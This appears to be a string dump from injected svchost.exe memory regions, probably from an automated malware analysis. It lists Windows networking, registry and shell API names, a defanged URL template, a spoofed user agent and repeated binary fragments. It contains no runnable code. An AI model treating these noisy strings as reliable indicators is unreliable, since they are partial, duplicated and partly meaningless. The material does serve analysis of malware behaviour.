HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_432_rwx_13140000_01550000:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

dh.rd

dh.rd

Wh%U1

Wh%U1

".eSH

".eSH

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_1092:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

?].FF

?].FF

%X$\c>:

%X$\c>:

%X$\c>9

%X$\c>9

.wu'AN3v*

.wu'AN3v*

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_1092_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_1092_rwx_13140000_01550000:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

?].FF

?].FF

%X$\c>:

%X$\c>:

%X$\c>9

%X$\c>9

.wu'AN3v*

.wu'AN3v*

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe